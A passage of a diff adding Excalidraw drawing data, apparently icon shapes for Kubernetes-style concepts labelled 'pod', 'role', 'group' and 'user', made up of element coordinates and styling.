+ -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1463, + "versionNonce": 605520096, + "index": "c0Ua2", + "isDeleted": false, + "id": "GshmU0Z51S4tLb4PfyukA", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1496.2649736791698, + "y": -978.0703625423248, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 301797048, + "groupIds": [ + "1hYQsrDRj0Aow4P64X1xX", + "F3FZIPzp1jXI-vR4DAzeq", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1159, + "versionNonce": 993289440, + "index": "c0Ua2V", + "isDeleted": false, + "id": "F5l5UC3nvwM5vn5yDE4pq", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1475.3057261322522, + "y": -938.3757895926242, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 20.27742910670436, + "height": 35.70320339646721, + "seed": 2111469496, + "groupIds": [ + "w2Hn32ydHXk7lC8YvJ5lP", + "F3FZIPzp1jXI-vR4DAzeq", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18660210834391153, + 24.818080409739405 + ], + [ + 19.779823484453956, + 35.70320339646721 + ], + [ + 20.27742910670436, + 6.7798766031619015 + ], + [ + 2.363626705689471, + 1.8038203806577522 + ] + ] + }, + { + "type": "line", + "version": 1378, + "versionNonce": 622119136, + "index": "c0Ua3", + "isDeleted": false, + "id": "wn1xs0kJoe_SHIJCsW879", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1519.7170279181028, + "y": -938.5001909981875, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 22.130942574834656, + "height": 35.83133459503828, + "seed": 1008910520, + "groupIds": [ + "w2Hn32ydHXk7lC8YvJ5lP", + "F3FZIPzp1jXI-vR4DAzeq", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -22.130942574834656, + 6.365644663380997 + ], + [ + -20.7687809213004, + 35.83133459503828 + ], + [ + -0.99521124450083, + 25.066883220864618 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1093, + "versionNonce": 1028173024, + "index": "c0Ua4", + "isDeleted": false, + "id": "AutFDqz99T_67Xve5bauZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1476.9229444045675, + "y": -941.2370219205636, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 42.73188281075432, + "height": 13.124348286854675, + "seed": 2088364472, + "groupIds": [ + "w2Hn32ydHXk7lC8YvJ5lP", + "F3FZIPzp1jXI-vR4DAzeq", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 20.899436134517376, + 6.095668872567573 + ], + [ + 42.73188281075432, + 0.49760562225042 + ], + [ + 20.712834026173475, + -7.028679414287102 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 884, + "versionNonce": 1835012320, + "index": "c0Ua4V", + "isDeleted": false, + "id": "BxyvGYcD", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1482.350481745141, + "y": -903.4509835249287, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 29.64915459497331, + "height": 22.935001028129516, + "seed": 1510208184, + "groupIds": [ + "F3FZIPzp1jXI-vR4DAzeq", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "pod", + "rawText": "pod", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "pod", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3406, + "versionNonce": 1827337440, + "index": "c0Ua5", + "isDeleted": false, + "id": "ZvMZnpZmzrd9md337aZkS", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1777.5625200455904, + "y": -962.5027724509696, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1801771960, + "groupIds": [ + "9xl6Urn_RpnmXbvwjXcOY", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2252, + "versionNonce": 24729824, + "index": "c0Ua6", + "isDeleted": false, + "id": "zbjlTAeNY5uw-sqio0_-4", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1778.7203748134352, + "y": -963.4139740331016, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1388356792, + "groupIds": [ + "9xl6Urn_RpnmXbvwjXcOY", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1941, + "versionNonce": 1050361056, + "index": "c0Ua6V", + "isDeleted": false, + "id": "IeUkTeSfe2qj8PpL-Fllr", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1759.2824422698677, + "y": -930.7982958528403, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 38.48257676515288, + "height": 53.94078303746298, + "seed": 1304120760, + "groupIds": [ + "tSJ26u6VcgdUl2oUeePjg", + "dpXgyTR-wNjT4mFx1xjmq", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.43819522846026465, + 22.049620485275092 + ], + [ + 4.342967775450733, + 34.94121810198526 + ], + [ + 16.999488623775477, + 44.08179537283787 + ], + [ + 31.664261562496574, + 35.75278091987214 + ], + [ + 38.48257676515288, + 20.07560865520522 + ], + [ + 38.09624108672637, + -0.02154511355940155 + ], + [ + 17.89059727780874, + -9.85898766462511 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1964, + "versionNonce": 1172349152, + "index": "c0Ua7", + "isDeleted": false, + "id": "OqAJGdvpjyZoHk_RxHVYF", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1772.3160771674084, + "y": -929.4213085106753, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.959416800014635, + "height": 18.067947848851407, + "seed": 1165547192, + "groupIds": [ + "OTkvY5bNm5ucOVd0L28yw", + "dpXgyTR-wNjT4mFx1xjmq", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 2196, + "versionNonce": 114918624, + "index": "c0Ua8", + "isDeleted": false, + "id": "vkCTs63meDEvVKw6yI5yt", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1775.4659408483276, + "y": -925.1268779825496, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 7.288395422973883, + "height": 13.743891268613103, + "seed": 1587363768, + "groupIds": [ + "OTkvY5bNm5ucOVd0L28yw", + "dpXgyTR-wNjT4mFx1xjmq", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2439, + "versionNonce": 2132142304, + "index": "c0Ua8V", + "isDeleted": false, + "id": "MqwYyqABXdwSGgGRhEnRo", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1768.7853484593497, + "y": -916.581957417774, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 18.532405158820122, + "height": 14.82525956037181, + "seed": 156010680, + "groupIds": [ + "61lAg5lX10L1R28ypcJ9J", + "OTkvY5bNm5ucOVd0L28yw", + "dpXgyTR-wNjT4mFx1xjmq", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1172, + "versionNonce": 2049297632, + "index": "c0Ua9", + "isDeleted": false, + "id": "jXKsjU5huo3sbLbswcWEx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1776.164065996845, + "y": -913.0446364435797, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 6.651552292900256, + "height": 6.897906081526186, + "seed": 288010680, + "groupIds": [ + "dpXgyTR-wNjT4mFx1xjmq", + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 944, + "versionNonce": 1368994016, + "index": "c0UaA", + "isDeleted": false, + "id": "crb0JvvdMcVALIooxQvrZ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dotted", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1750.3158363279194, + "y": -943.1195027848325, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 59.497971177368996, + "height": 58.73267649628154, + "seed": 760986296, + "groupIds": [ + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 923, + "versionNonce": 754980064, + "index": "c0UaAV", + "isDeleted": false, + "id": "KE3HdI5S", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1761.2836719051984, + "y": -884.2592891789163, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 32.91497330762787, + "height": 22.935001028129516, + "seed": 277062584, + "groupIds": [ + "KSmoTJOnIoa6QheTcWOW8", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "role", + "rawText": "role", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "role", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3668, + "versionNonce": 1105885408, + "index": "c0UaB", + "isDeleted": false, + "id": "cYG6uiwsEU4H2VzIxQV3x", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2046.868734393859, + "y": -907.1382796931896, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 2026269880, + "groupIds": [ + "po9-hQ4lihe4lEEb9S48R", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2514, + "versionNonce": 333995232, + "index": "c0UaC", + "isDeleted": false, + "id": "DBefXlaY9hvcKgqJRxWYc", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2048.026589161702, + "y": -908.0494812753209, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1070077368, + "groupIds": [ + "po9-hQ4lihe4lEEb9S48R", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1513, + "versionNonce": 881443040, + "index": "c0UaCV", + "isDeleted": false, + "id": "O4XMPKrlnr5MfF-0pukM2", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2018.0090592096562, + "y": -885.6815783280294, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 55.90803130280412, + "height": 58.5684790292792, + "seed": 1789697720, + "groupIds": [ + "AV2oOv0zoNs8Fm-w2_jb5", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1460, + "versionNonce": 56534240, + "index": "c0UaD", + "isDeleted": false, + "id": "KczPzAgur6qKnaP24rVNf", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2032.3925474722912, + "y": -874.7320492956198, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.58875849780165, + "height": 13.454879103734601, + "seed": 974653368, + "groupIds": [ + "AV2oOv0zoNs8Fm-w2_jb5", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1906, + "versionNonce": 1844906208, + "index": "c0UaE", + "isDeleted": false, + "id": "2OOuB55Qod4fcK2cf6i8k", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2039.226483997671, + "y": -842.0336590226059, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 31.783543676342507, + "height": 13.918978465213142, + "seed": 976113848, + "groupIds": [ + "AV2oOv0zoNs8Fm-w2_jb5", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.730959244915365, + -0.1808252282475413 + ], + [ + 29.71742581449307, + -0.35305333625780855 + ], + [ + 31.783543676342507, + -4.327489486701453 + ], + [ + 30.340477197762898, + -9.283344928316293 + ], + [ + 17.514688404559408, + -13.918978465213142 + ], + [ + 1.5389341823978422, + -9.202528897948524 + ], + [ + 1.078482143505145, + -5.150240331632775 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1820, + "versionNonce": 803400928, + "index": "c0UaEV", + "isDeleted": false, + "id": "i09MlRmDHZjtEQFSr7fzb", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2025.0549476605713, + "y": -841.617955777891, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 28.075667542428437, + "height": 13.918978465213142, + "seed": 1385396664, + "groupIds": [ + "AV2oOv0zoNs8Fm-w2_jb5", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 15.662461116289132, + -0.1808252282475413 + ], + [ + 26.250583505750214, + -0.35305333625780855 + ], + [ + 28.075667542428437, + -4.327489486701453 + ], + [ + 26.800949559223167, + -9.283344928316293 + ], + [ + 15.471420486119406, + -13.918978465213142 + ], + [ + 1.3594017367811881, + -9.202528897948524 + ], + [ + 0.9526661476087624, + -5.150240331632775 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1548, + "versionNonce": 313676000, + "index": "c0UaF", + "isDeleted": false, + "id": "eqqmM1Ysv48tK9jmNLqDg", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2047.8617049149934, + "y": -874.8341105690229, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.58875849780165, + "height": 13.454879103734601, + "seed": 1449886392, + "groupIds": [ + "AV2oOv0zoNs8Fm-w2_jb5", + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1244, + "versionNonce": 771044576, + "index": "c0UaG", + "isDeleted": false, + "id": "qKQfZzRU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2025.0193473570275, + "y": -829.8035973360056, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 46.7120725983501, + "height": 22.935001028129516, + "seed": 341470136, + "groupIds": [ + "Pt1mvFGsJ96y1kfd0ACGC", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "fontSize": 18.34800082250361, + "fontFamily": 1, + "text": "group", + "rawText": "group", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "group", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3609, + "versionNonce": 658217184, + "index": "c0UaGV", + "isDeleted": false, + "id": "340mX4eQ9pnacsBYIuhgt", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2153.703888999637, + "y": -913.2654258359139, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1719940280, + "groupIds": [ + "HiMSTopWtQImU7A4neIcJ", + "uJYufTjy3P4nQe4tR2xik", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2455, + "versionNonce": 1914010848, + "index": "c0UaH", + "isDeleted": false, + "id": "RhfCUpvcj7zimjO7yVz-w", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2154.8617437674816, + "y": -914.1766274180457, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1116528056, + "groupIds": [ + "HiMSTopWtQImU7A4neIcJ", + "uJYufTjy3P4nQe4tR2xik", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "rectangle", + "version": 1206, + "versionNonce": 269672672, + "index": "c0UaI", + "isDeleted": false, + "id": "pJZeAr1KZeA0ja85ee49m", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2128.5978618068248, + "y": -893.3719068823548, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 55.90803130280412, + "height": 58.5684790292792, + "seed": 1234724536, + "groupIds": [ + "OP2-8qjhEKfM6d1NaT3Da", + "uJYufTjy3P4nQe4tR2xik", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 3 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1060, + "versionNonce": 1355007200, + "index": "c0UaIV", + "isDeleted": false, + "id": "qzGDJ5gCi90cvHs4n3kuz", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2148.6280620274115, + "y": -882.9711335450509, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 15.996657448855798, + "height": 15.839054912413824, + "seed": 1481297848, + "groupIds": [ + "OP2-8qjhEKfM6d1NaT3Da", + "uJYufTjy3P4nQe4tR2xik", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1417, + "versionNonce": 297281760, + "index": "c0UaJ", + "isDeleted": false, + "id": "xEET-I0WnC_Pv2CoiaiEn", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2138.462698426907, + "y": -844.3585121167789, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 37.415519657918004, + "height": 16.38539168843394, + "seed": 382212280, + "groupIds": [ + "OP2-8qjhEKfM6d1NaT3Da", + "uJYufTjy3P4nQe4tR2xik", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 20.872847311726073, + -0.21286707206217828 + ], + [ + 34.983290128611515, + -0.41561363256294004 + ], + [ + 37.415519657918004, + -5.094311370938487 + ], + [ + 35.716744884821615, + -10.92833380046255 + ], + [ + 20.61825374087778, + -16.38539168843394 + ], + [ + 1.8116300290520175, + -10.833197342310129 + ], + [ + 1.269586873381446, + -6.062851906429807 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 1074, + "versionNonce": 2122321120, + "index": "c0UaK", + "isDeleted": false, + "id": "Rrf33UzF", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2137.839074213056, + "y": -835.4885210613502, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 38.30903842838716, + "height": 22.935001028129516, + "seed": 146031032, + "groupIds": [ + "uJYufTjy3P4nQe4tR2xik", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453346, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "user", + "rawText": "user", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "user", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3705, + "versionNonce": 1353412832, + "index": "c0UaKV", + "isDeleted": false, + "id": "ybDFM7pt6q_1mzqNKX7Lm", + "fillStyle": "solid", + "strokeWidth": 4, + 